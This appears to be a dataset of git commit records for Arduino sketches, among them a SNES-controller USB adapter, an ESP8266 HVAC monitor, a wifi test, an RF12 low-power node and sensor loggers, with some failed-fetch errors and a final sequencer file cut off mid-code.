{"commit":"5ef862dd0e7aa7c670e8411958374e8235784e20","subject":"Create AHRS_euler_ekf.ino","message":"Create AHRS_euler_ekf.ino","repos":"mcprakash\/ardunav","old_file":"AHRS_euler_ekf.ino","new_file":"AHRS_euler_ekf.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcprakash\/ardunav.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bc356be3e441289759ed3d841bebd0988ce31775","subject":"Added demo code for arduino due board.","message":"Added demo code for arduino due board.\n","repos":"gabriel-cr\/device-repo,gabriel-cr\/device-repo,gabriel-cr\/device-repo,gabriel-cr\/device-repo","old_file":"ArduinoDue\/sketch_demo.ino","new_file":"ArduinoDue\/sketch_demo.ino","new_contents":"#define C_LOGGER_ADDR (0x400E1000)\n#define PY_LOGGER_ADDR (0x400E1200)\n#define RS_LOGGER_ADDR (0x400E1400)\n\nvoid setup() \n{\n Serial.begin(9600);\n Serial.println(\"start\");\n}\n\nvoid say_hello_logger(int addr, const char * msg)\n{\n int cnt = 0;\n while (cnt < strlen(msg))\n {\n *(int*)addr = msg[cnt++];\n }\n *(int*)addr = '\\n';\n}\n\nvoid loop() \n{\n while (1)\n {\n Serial.println(\"-------------------LOOP START-------------------\");\n \n say_hello_logger(C_LOGGER_ADDR, \"Hello C logger!\");\n say_hello_logger(PY_LOGGER_ADDR, \"Hello PY logger!\");\n say_hello_logger(RS_LOGGER_ADDR, \"Hello RUST logger!\");\n \n Serial.println(\"===================loop end===================\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoDue\/sketch_demo.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"f484614f3ed923316efaaaa270096d9eafa1109b","subject":"some minor tweaks","message":"some minor tweaks\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a8eb1bb6a490fcfabababccd642365f90d443d16","subject":"Add Super Nintendo Entertainment System (SNES) Controller\/Gamepad to USB","message":"Add Super Nintendo Entertainment System (SNES) Controller\/Gamepad to USB\n","repos":"jfrmilner\/Arduino-USBRetroGamingControllers","old_file":"SuperNintendoEntertainmentSystem_GamePad_USB\/SuperNintendoEntertainmentSystem_GamePad_USB.ino","new_file":"SuperNintendoEntertainmentSystem_GamePad_USB\/SuperNintendoEntertainmentSystem_GamePad_USB.ino","new_contents":"\/* Super Nintendo Entertainment System (SNES) Controller\/Gamepad to USB\n * Auth: John Milner \/ jfrmilner\n * \n * Version\n * 1.0\n * \n * Date\n * July 2016\n * \n * Hardware\n * ATmega32u4 based Arduino (Arduino Leonardo\/Micro)\n * Super Nintendo Entertainment System Controller\n * \n * Software\n * Arduino IDE 1.6.8\n * Arduino Joystick Library 1.0.1 - https:\/\/github.com\/MHeironimus\/ArduinoJoystickLibrary\n * \n * Works with.. \n * OS (plug and play): Windows 10 \/ Linux RetroPie 3.8.1\n * Snes9x (SNES Emulator) - http:\/\/www.snes9x.com\/ \/ https:\/\/tcrf.net\/SNES_Test_Program\n * \n * Pinout - http:\/\/pinoutsguide.com\/Game\/snescontroller_pinout.shtml\n * \n * 7 pin SNES proprietary female connector view:\n * -----------------\\\n * | 1 2 3 4 | 5 6 7 | \n * -----------------\/\n * pin 1: +5v\n * pin 2: Data Clock\n * pin 3: Data Latch\n * pin 4: Serial Data\n * pin 5: No Connection\n * pin 6: No Connection\n * pin 7: Ground\n * \n *\/\n\n#include <Joystick.h>\n\n\/\/ Controller Buttons\n#define SNES_B 1 \/\/000000000001\n#define SNES_Y 2 \/\/000000000010\n#define SNES_SELECT 4 \/\/000000000100\n#define SNES_START 8 \/\/000000001000\n#define SNES_UP 16 \/\/000000010000\n#define SNES_DOWN 32 \/\/000000100000\n#define SNES_LEFT 64 \/\/000001000000\n#define SNES_RIGHT 128 \/\/000010000000\n#define SNES_A 256 \/\/000100000000\n#define SNES_X 512 \/\/001000000000\n#define SNES_L 1024 \/\/010000000000\n#define SNES_R 2048 \/\/100000000000\n\nconst int PIN_CLOCK = 6;\nconst int PIN_LATCH = 7;\nconst int PIN_DATA = 12;\n\nvoid setup(){\n Joystick.begin(false);\n \n pinMode(PIN_CLOCK, OUTPUT);\n digitalWrite(PIN_CLOCK, HIGH);\n pinMode(PIN_LATCH, OUTPUT);\n digitalWrite(PIN_LATCH, LOW);\n pinMode(PIN_DATA, INPUT_PULLUP);\n}\n\nvoid loop(){\n uint16_t state = 0;\n \/\/ 12us latch\n digitalWrite(PIN_LATCH, HIGH);\n delayMicroseconds(12);\n digitalWrite(PIN_LATCH, LOW);\n delayMicroseconds(6);\n \/\/ Retrieve 4021s sixteen bits of data\n for(int i = 0; i < 16; i++){\n digitalWrite(PIN_CLOCK, LOW);\n delayMicroseconds(6);\n state |= digitalRead(PIN_DATA) << i;\n digitalWrite(PIN_CLOCK, HIGH);\n delayMicroseconds(6);\n }\n\n \/\/ buttons\n SNES_B & ~state ? Joystick.pressButton(0) : Joystick.releaseButton(0);\n SNES_Y & ~state ? Joystick.pressButton(1) : Joystick.releaseButton(1);\n SNES_SELECT & ~state ? Joystick.pressButton(2) : Joystick.releaseButton(2);\n SNES_START & ~state ? Joystick.pressButton(3) : Joystick.releaseButton(3);\n SNES_A & ~state ? Joystick.pressButton(4) : Joystick.releaseButton(4);\n SNES_X & ~state ? Joystick.pressButton(5) : Joystick.releaseButton(5);\n SNES_L & ~state ? Joystick.pressButton(6) : Joystick.releaseButton(6);\n SNES_R & ~state ? Joystick.pressButton(7) : Joystick.releaseButton(7);\n\n \/\/ 360\u00b0 Hat Switch 0\n Joystick.setHatSwitch(0, -1); \/\/ release\n if (SNES_UP & ~state) Joystick.setHatSwitch(0, 0);\n if (SNES_RIGHT & ~state) Joystick.setHatSwitch(0, 90);\n if (SNES_DOWN & ~state) Joystick.setHatSwitch(0, 180);\n if (SNES_LEFT & ~state) Joystick.setHatSwitch(0, 270);\n if (SNES_UP & ~state && SNES_RIGHT & ~state) Joystick.setHatSwitch(0, 45);\n if (SNES_DOWN & ~state && SNES_RIGHT & ~state) Joystick.setHatSwitch(0, 135);\n if (SNES_DOWN & ~state && SNES_LEFT & ~state) Joystick.setHatSwitch(0, 225);\n if (SNES_UP & ~state && SNES_LEFT & ~state) Joystick.setHatSwitch(0, 315);\n \n Joystick.sendState();\n delay(25);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SuperNintendoEntertainmentSystem_GamePad_USB\/SuperNintendoEntertainmentSystem_GamePad_USB.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"de7faaddd246d626c007a2244c4d14930139cc8f","subject":"Added files via upload","message":"Added files via upload","repos":"structure7\/hvacMonitor","old_file":"hvacMonitor.ino","new_file":"hvacMonitor.ino","new_contents":"\/*\n v4: Stable! Basic blower motor ON\/OFF and status in minutes only.\n v5: Holy shit I think I've done it and graceful to boot! NEED TO TEST THIS!!!\n v6: Call Guinness! It works!\n v7: Added date and fixed for single\/double digit time and date.\n v8: Add additional DS18B20 at house t-stat (CAT5e or extra tstat wire). Add logic for notification\/alarm if split temp is too low after X minutes.\n Might still want to use an acutal RTC to avoid some of the Blynk BS and timezone changes.\n Sounds like Blynk made a change allowing for RTC time zone. Not sure if that's through the app or the code.\n Learn to use arrays with strings to clean up the lcd.print madness!\n*\/\n\n#include <SimpleTimer.h>\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <TimeLib.h>\n#include <WidgetRTC.h>\n#define ONE_WIRE_BUS 2\n\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\n\nDeviceAddress ds18b2001 = { 0x28, 0x77, 0x8A, 0x1E, 0x00, 0x00, 0x80, 0xD4 }; \/\/ Temp test probe\nDeviceAddress ds18b20RA = { 0x28, 0xEF, 0x97, 0x1E, 0x00, 0x00, 0x80, 0x54 }; \/\/ Return air probe\nDeviceAddress ds18b20SA = { 0x28, 0xF1, 0xAC, 0x1E, 0x00, 0x00, 0x80, 0xE8 }; \/\/ Supply air probe\n\nchar auth[] = \"getFromBlynkApp\";\n\nSimpleTimer timer;\n\nWidgetLCD lcd(V5);\n\nWidgetRTC rtc;\nBLYNK_ATTACH_WIDGET(rtc, V8);\n\nint blowerPin = 0; \/\/ Pin connected to 3.3V fed from blower motor.\nint offHour, offHour24, onHour, onHour24, offMinute, onMinute, offSecond, onSecond, offMonth, onMonth, offDay, onDay;\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth, \"ssid1\", \"pw1\");\n \/\/Blynk.begin(auth, \"ssid2\", \"pw2\");\n\n \/\/WiFi.softAP(\"ssid\", \"pw\");\n \/\/WiFi.softAPdisconnect(true);\n\n sensors.begin();\n \/\/ Add more of below as more sensors are added. 9, 10, 11, or 12 bits, corresponding to increments of 0.5\u00b0C, 0.25\u00b0C, 0.125\u00b0C, and 0.0625\u00b0C, respectively.\n \/\/ Defaults to 12-bit if not set. ~94ms conversion time for 9-bit, to 750ms for 12-bit!\n sensors.setResolution(ds18b20RA, 10);\n sensors.setResolution(ds18b20SA, 10);\n sensors.setResolution(ds18b2001, 10);\n\n timer.setInterval(1000L, sendTemps); \/\/ Temperature sensor polling interval\n timer.setInterval(10000L, sendStatus); \/\/ Blower fan status polling interval\n\n\n while (Blynk.connect() == false) {\n \/\/ Wait until connected\n }\n\n \/\/ Begin synchronizing time\n rtc.begin();\n\n \/\/ Display digital clock every 10 seconds\n timer.setInterval(10000L, clockDisplay);\n\n}\n\nvoid clockDisplay()\n{\n \/\/ You can call hour(), minute(), ... at any time\n \/\/ Please see Time library examples for details\n BLYNK_LOG(\"Current time: %02d:%02d:%02d %02d %02d %d\",\n hour(), minute(), second(),\n day(), month(), year());\n}\n\nvoid sendTemps()\n{\n sensors.requestTemperatures(); \/\/ Polls the sensors\n float tempRA = sensors.getTempF(ds18b20RA);\n float tempSA = sensors.getTempF(ds18b20SA);\n float tempTEST = sensors.getTempF(ds18b2001);\n\n Blynk.virtualWrite(0, tempRA);\n Blynk.virtualWrite(1, tempSA);\n Blynk.virtualWrite(2, tempTEST);\n}\n\nvoid sendStatus()\n{\n if (digitalRead(blowerPin) == HIGH)\n {\n lcd.clear();\n lcd.print(0, 0, \" HVAC OFF since\");\n if (offHour < 10)\n {\n lcd.print(1, 1, offHour);\n }\n else\n {\n lcd.print(0, 1, offHour);\n }\n\n lcd.print(2, 1, \":\");\n\n if (offMinute < 10)\n {\n lcd.print(3, 1, \"0\");\n lcd.print(4, 1, offMinute);\n }\n else\n lcd.print(3, 1, offMinute);\n\n if (offHour24 < 12)\n {\n lcd.print(5, 1, \"AM on\");\n }\n else\n {\n lcd.print(5, 1, \"PM on\");\n }\n if (offMonth < 10)\n {\n lcd.print(11, 1, offMonth);\n lcd.print(12, 1, \"\/\");\n lcd.print(13, 1, offDay);\n }\n else\n {\n lcd.print(11, 1, offMonth);\n lcd.print(13, 1, \"\/\");\n lcd.print(14, 1, offDay);\n }\n\n onHour24 = hour();\n onHour = hourFormat12();\n onMinute = minute();\n onSecond = second();\n onMonth = month();\n onDay = day();\n }\n else\n {\n \/\/Start code for ON state\n lcd.clear();\n lcd.print(0, 0, \" HVAC ON since\");\n if (onHour < 10)\n {\n lcd.print(1, 1, onHour);\n }\n else\n {\n lcd.print(0, 1, onHour);\n }\n\n lcd.print(2, 1, \":\");\n\n if (offMinute < 10)\n {\n lcd.print(3, 1, \"0\");\n lcd.print(4, 1, onMinute);\n }\n else\n lcd.print(3, 1, onMinute);\n\n if (onHour24 < 12)\n {\n lcd.print(5, 1, \"AM on\");\n }\n else\n {\n lcd.print(5, 1, \"PM on\");\n }\n\n if (onMonth < 10)\n {\n lcd.print(11, 1, onMonth);\n lcd.print(12, 1, \"\/\");\n lcd.print(13, 1, onDay);\n }\n else\n {\n lcd.print(11, 1, onMonth);\n lcd.print(13, 1, \"\/\");\n lcd.print(14, 1, onDay);\n }\n\n offHour24 = hour();\n offHour = hourFormat12();\n offMinute = minute();\n offSecond = second();\n offMonth = month();\n offDay = day();\n }\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run(); \/\/Initiates SimpleTimer\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hvacMonitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"96f759bd75a45b5bc83d44fe2c9e140af6933eaf","subject":"Battery Voltage readout","message":"Battery Voltage readout\n","repos":"hirnidrin\/makezurich2017,hirnidrin\/makezurich2017","old_file":"test\/ReadBatteryVoltage\/ReadBatteryVoltage.ino","new_file":"test\/ReadBatteryVoltage\/ReadBatteryVoltage.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hirnidrin\/makezurich2017.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8ebafab187775a761bdb4cd841f47b57bbfa2979","subject":"Test feather wifi.","message":"Test feather wifi.\n","repos":"feanil\/thunder-lights,feanil\/thunder-lights,feanil\/thunder-lights","old_file":"arduino\/feather\/wifi_test\/wifi_test.ino","new_file":"arduino\/feather\/wifi_test\/wifi_test.ino","new_contents":"\/*\n * Simple HTTP get webclient test\n *\/\n\n#include <ESP8266WiFi.h>\n\nconst char* ssid = \"\";\nconst char* password = \"\";\n\nconst char* host = \"wifitest.adafruit.com\";\n\nvoid setup() {\n Serial.begin(115200);\n delay(100);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nint value = 0;\n\nvoid loop() {\n delay(10000);\n ++value;\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n \n \/\/ We now create a URI for the request\n String url = \"\/testwifi\/index.html\";\n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n delay(500);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/feather\/wifi_test\/wifi_test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"424ba068b75dd3ff098241d33b6ca8b00accaa97","subject":"added ColorDuino code","message":"added ColorDuino code\n","repos":"remcoder\/rgb-matrix,remcoder\/rgb-matrix,remcoder\/rgb-matrix","old_file":"colorduino\/colorduino_serial.ino","new_file":"colorduino\/colorduino_serial.ino","new_contents":"\n\/\/ Include required libraries\n#include <Adafruit_GFX.h>\n#include <Colorduino_GFX.h>\n\n\/\/ Create new Colorduino instance\nColorduinoPanel Colorduino;\n\n\/\/ some vars required for timing\nlong previousMillis = 0;\nlong interval = 250;\n\nunsigned char bitmap[9];\nunsigned char serialBuffer[256]; \n\nboolean hasMessage = false;\nlong bufferIndex = 0; \n\nvoid drawBitmap(int16_t x, int16_t y, uint8_t *bitmap, int16_t w, int16_t h, uint16_t color) {\n\n int16_t i, j, byteWidth = (w + 7) \/ 8;\n\n for(j=0; j<h; j++) {\n for(i=0; i<w; i++ ) {\n if(((bitmap[j * byteWidth + i \/ 8])) & (128 >> (i & 7))) {\n\tColorduino.drawPixel(x+i, y+j, color);\n }\n }\n }\n}\n\nvoid draw() {\n \/\/ clear the back-buffer\n GFX_Color_t background = Colorduino.color(0, 0, 0);\n Colorduino.fillColor(background);\n \n \/\/ create new color\n GFX_Color_t color = Colorduino.color(255, 0, 0);\n \n \/\/ draw on the back-buffer\n \/\/Colorduino.drawLine(random(7), random(7), random(7), random(7), color);\n \/\/Colorduino.drawTriangle(0,0, 7,0 , 7,7, color);\n drawBitmap(0,0, bitmap, 8,8, color),\n \n \/\/ swap the buffers, but don't copy the new front-buffer to the new back-buffer\n Colorduino.swapBuffers(false);\n}\n\nvoid setup() { \n Serial.begin(19200);\n Serial.println(\"*** ColorDuino ***\");\n Serial.println(\"starting...\");\n\n \n \/\/ Set port mode, load data structures and start the timer\n Colorduino.init();\n \/\/ Set white balance\n Colorduino.setWhiteBalance(36, 63, 63);\n \n Serial.println(\"ready.\");\n}\n\nvoid loop() {\n\n if (hasMessage) { \n draw();\n hasMessage = false;\n }\n}\n\nunsigned char opcode = 0;\nvoid serialEvent() {\n while (Serial.available()) {\n\n unsigned char incomingByte = (char)Serial.read(); \n\n if (bufferIndex == 0) {\n opcode = incomingByte;\n bufferIndex++;\n }\n else if (bufferIndex == 8) {\n bitmap[bufferIndex-1] = incomingByte;\n hasMessage = true; \n bufferIndex = 0;\n }\n else {\n bitmap[bufferIndex-1] = incomingByte;\n bufferIndex++;\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'colorduino\/colorduino_serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"83097508a356df6b049eda9813eb297c6dfb1683","subject":"add radioBlip2 w\/ VCC reporting","message":"add radioBlip2 w\/ VCC reporting\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/radioBlip2\/radioBlip2.ino","new_file":"examples\/RF12\/radioBlip2\/radioBlip2.ino","new_contents":"\/\/ Send out a radio packet every minute, consuming as little power as possible\n\/\/ 2012-05-09 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n#include <avr\/sleep.h>\n\n#define BLIP_ID 1 \/\/ set this to a unique ID to disambiguate multiple nodes\n\nstruct {\n long ping; \/\/ 32-bit counter\n byte id; \/\/ identity, should be different for each node\n byte vcc; \/\/ measured BCC, 1.0V = 0 .. 6.0V = 250\n} payload;\n\nvolatile bool adcDone;\n\n\/\/ this must be added since we're using the watchdog for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\n\/\/ for low-noise\/-power ADC readouts, we'll use interrupts\nISR(ADC_vect) { adcDone = true; }\n\nstatic byte vccRead (byte count =4) {\n set_sleep_mode(SLEEP_MODE_ADC);\n ADMUX = bit(REFS0) | 14; \/\/ use VCC and internal bandgap\n bitSet(ADCSRA, ADIE);\n while (count-- > 0) {\n adcDone = false;\n while (!adcDone)\n sleep_mode();\n }\n bitClear(ADCSRA, ADIE); \n \/\/ convert ADC readings to fit in one byte, i.e. 20 mV steps:\n \/\/ 1.0V = 0, 1.8V = 40, 3.3V = 115, 5.0V = 200, 6.0V = 250\n return (55U * 1023U) \/ (ADC + 1) - 50;\n}\n\nvoid setup() {\n cli();\n CLKPR = bit(CLKPCE);\n#if defined(__AVR_ATtiny84__)\n CLKPR = 0; \/\/ div 1, i.e. speed up to 8 MHz\n#else\n CLKPR = 1; \/\/ div 2, i.e. slow down to 8 MHz\n#endif\n sei();\n rf12_initialize(17, RF12_868MHZ, 5);\n \/\/ see http:\/\/tools.jeelabs.org\/rfm12b\n rf12_control(0xC040); \/\/ set low-battery level to 2.2V i.s.o. 3.1V\n payload.id = BLIP_ID;\n}\n\nvoid loop() {\n ++payload.ping;\n payload.vcc = vccRead();\n \n while (!rf12_canSend())\n rf12_recvDone();\n \n rf12_sendStart(0, &payload, sizeof payload);\n \/\/ set the sync mode to 2 if the fuses are still the Arduino default\n \/\/ mode 3 (full powerdown) can only be used with 258 CK startup fuses\n rf12_sendWait(2);\n \n rf12_sleep(RF12_SLEEP);\n Sleepy::loseSomeTime(60000);\n rf12_sleep(RF12_WAKEUP);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/radioBlip2\/radioBlip2.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"2b8d74e66aa716e945a0e7e000ed67697aed2980","subject":"Add test sketch for moisture sensor and sd card on kit","message":"Add test sketch for moisture sensor and sd card on kit\n","repos":"UAA-EQLNES\/ARTF-Field-Sensors","old_file":"ARTF_Sensors\/examples\/LowPowerMoistureWithSD\/LowPowerMoistureWithSD.ino","new_file":"ARTF_Sensors\/examples\/LowPowerMoistureWithSD\/LowPowerMoistureWithSD.ino","new_contents":"\/*\n Test Moisture sensor readings on sensor platform\n\n This sketch is designed to test the accuracy of the Moisture\n sensor with the battery pack and circuit of the sensor platform.\n\n This sketch takes 5 readings and averages them to\n help verify similar calculations used in MoistureSensorGSM\n sketch. The results are written to the SD card\n\n Created 10 7 2014\n Modified 10 7 2014\n*\/\n#include <LowPower.h>\n\n#include <ARTF_SDCard.h>\n\n\/\/ ARTF SDCard Dependency\n#include <SdFat.h>\n#include <String.h>\n\n\n\/\/ Moisture sensor settings\nconst byte MOISTURE_PIN = A6;\nconst byte MOSFET_MS_PIN = 5;\nconst int NUM_READINGS = 5;\nconst int MOISTURE_MAX_READING = 600;\n\n\n\/\/ SD Card Settings\nconst byte SD_CS_PIN = 10;\n#define OUTPUT_FILENAME \"ultra.txt\"\n\n\nARTF_SDCard sd(SD_CS_PIN);\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(SD_CS_PIN, OUTPUT);\n}\n\nint count = 1;\nvoid loop()\n{\n\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n\n String output = \"\";\n\n output += \"Trial \" + String(count) + \"\\n\";\n output += \"-------------------\\n\";\n\n\n digitalWrite(MOSFET_MS_PIN, HIGH);\n delay(3000);\n\n \/\/ Take X readings\n int moistureReadings[NUM_READINGS];\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n int reading = analogRead(MOISTURE_PIN);\n moistureReadings[i] = (double)reading \/ (double)MOISTURE_MAX_READING;\n\n output += String(i) + \". Analog:\" + String(reading) + \"; Calculated:\" + String(moistureReadings[i]) + \"\\n\";\n\n delay(300);\n }\n\n digitalWrite(MOSFET_MS_PIN, LOW);\n delay(500);\n\n\n \/\/ Average the readings\n double sumMoisture = 0.0;\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n sumMoisture += moistureReadings[i];\n }\n double avgMoisture = sumMoisture \/ NUM_READINGS;\n\n \/\/ Rounded measurements\n int roundedMoisture = round(avgMoisture * 100);\n\n output += \"Rounded:\" + String(roundedMoisture) + \"\\n\\n\";\n\n sd.begin();\n sd.writeFile(OUTPUT_FILENAME, output);\n\n delay(500);\n count += 1;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'ARTF_Sensors\/examples\/LowPowerMoistureWithSD\/LowPowerMoistureWithSD.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a86eb423a71e4ab16ae735e1745422947e3632f2","subject":"pretty printing","message":"pretty printing\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c1a88d172b7bb5cc942d24df3f9ecb9c1b18cc9e","subject":"Fix vertical lines of gate time and slew rate boxes.","message":"Fix vertical lines of gate time and slew rate boxes.\n","repos":"logickworkshop\/du-ino,logickworkshop\/du-ino","old_file":"examples\/seq\/seq.ino","new_file":"examples\/seq\/seq.ino","new_contents":"\/*\n * #### ####\n * #### ####\n * #### #### ##\n * #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### #### ####\n * #### #### #### #### #### #### #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### ####\n * ################################ ####\n * __ __ __ __ __ ####\n * | | | | [__) |_\/ (__ |__| | | [__) ####\n * |\/\\| |__| | \\ | \\ .__) | | |__| | ##\n *\n *\n * DU-INO DU-SEQ Emulator\n * Aaron Mavrinac <aaron@logick.ca>\n *\/\n\n#include <du-ino_function.h>\n#include <du-ino_widgets.h>\n#include <du-ino_dsp.h>\n#include <TimerOne.h>\n#include <avr\/pgmspace.h>\n\nenum GateMode {\n GATE_NONE = 0,\n GATE_1SHT = 1,\n GATE_REPT = 2,\n GATE_LONG = 3,\n GATE_EXT1 = 4,\n GATE_EXT2 = 5\n};\n\nenum Intonation {\n IN,\n IF,\n IS\n};\n\nstatic const unsigned char gate_mode_icons[] PROGMEM = {\n 0x00, 0x22, 0x14, 0x08, 0x14, 0x22, 0x00, \/\/ off\n 0x1C, 0x22, 0x5D, 0x5D, 0x5D, 0x22, 0x1C, \/\/ single\n 0x7C, 0x00, 0x7F, 0x00, 0x7F, 0x00, 0x7C, \/\/ multi\n 0x08, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x08, \/\/ long\n 0x30, 0x40, 0x52, 0x5F, 0x50, 0x40, 0x30, \/\/ ext 1\n 0x30, 0x40, 0x59, 0x55, 0x52, 0x40, 0x30 \/\/ ext 2\n};\n\nstatic const unsigned char semitone_lt[12] = {'C', 'C', 'D', 'E', 'E', 'F', 'F', 'G', 'G', 'A', 'B', 'B'};\nstatic const Intonation semitone_in[12] = {IN, IS, IN, IF, IN, IN, IS, IN, IS, IN, IF, IN};\n\nstruct DU_SEQ_Values {\n float stage_cv[8];\n uint8_t stage_steps[8];\n GateMode stage_gate[8];\n bool stage_slew[8];\n uint8_t stage_count;\n bool diradd_mode;\n float slew_hz;\n uint16_t gate_ms;\n unsigned long clock_period;\n bool clock_ext;\n};\n\nvolatile DU_SEQ_Values seq_values;\n\nvolatile uint8_t stage, step;\nvolatile bool gate, clock_gate, retrigger, reverse;\n\nDUINO_Filter * slew_filter;\n\nvoid clock_ext_isr();\nvoid clock_isr();\nvoid reset_isr();\n\nvoid update_clock();\n\nvoid save_click_callback();\nvoid count_scroll_callback(int delta);\nvoid diradd_scroll_callback(int delta);\nvoid slew_scroll_callback(int delta);\nvoid gate_scroll_callback(int delta);\nvoid clock_scroll_callback(int delta);\nvoid s_pitch_scroll_callback(uint8_t selected, int delta);\nvoid s_steps_scroll_callback(uint8_t selected, int delta);\nvoid s_gate_scroll_callback(uint8_t selected, int delta);\nvoid s_slew_scroll_callback(uint8_t selected, int delta);\nvoid s_pitch_click_callback();\nvoid s_steps_click_callback();\nvoid s_gate_click_callback();\nvoid s_slew_click_callback();\n\nclass DU_SEQ_Function : public DUINO_Function {\n public:\n DU_SEQ_Function() : DUINO_Function(0b01111100) { }\n \n virtual void setup()\n {\n \/\/ build widget hierarchy\n container_outer_ = new DUINO_WidgetContainer<6>(DUINO_Widget::DoubleClick, 2);\n widget_save_ = new DUINO_DisplayWidget(121, 0, 7, 7);\n widget_save_->attach_click_callback(save_click_callback);\n container_outer_->attach_child(widget_save_, 0);\n container_top_ = new DUINO_WidgetContainer<5>(DUINO_Widget::Click);\n widget_count_ = new DUINO_DisplayWidget(9, 11, 7, 9);\n widget_count_->attach_scroll_callback(count_scroll_callback);\n container_top_->attach_child(widget_count_, 0);\n widget_diradd_ = new DUINO_DisplayWidget(21, 11, 7, 9);\n widget_diradd_->attach_scroll_callback(diradd_scroll_callback);\n container_top_->attach_child(widget_diradd_, 1);\n widget_slew_ = new DUINO_DisplayWidget(58, 11, 20, 9);\n widget_slew_->attach_scroll_callback(slew_scroll_callback);\n container_top_->attach_child(widget_slew_, 2);\n widget_gate_ = new DUINO_DisplayWidget(83, 11, 20, 9);\n widget_gate_->attach_scroll_callback(gate_scroll_callback);\n container_top_->attach_child(widget_gate_, 3);\n widget_clock_ = new DUINO_DisplayWidget(108, 11, 19, 9);\n widget_clock_->attach_scroll_callback(clock_scroll_callback);\n container_top_->attach_child(widget_clock_, 4);\n container_outer_->attach_child(container_top_, 1);\n widgets_pitch_ = new DUINO_MultiDisplayWidget<8>(0, 32, 16, 15, 16, false, DUINO_Widget::Click);\n widgets_pitch_->attach_scroll_callback_i(s_pitch_scroll_callback);\n 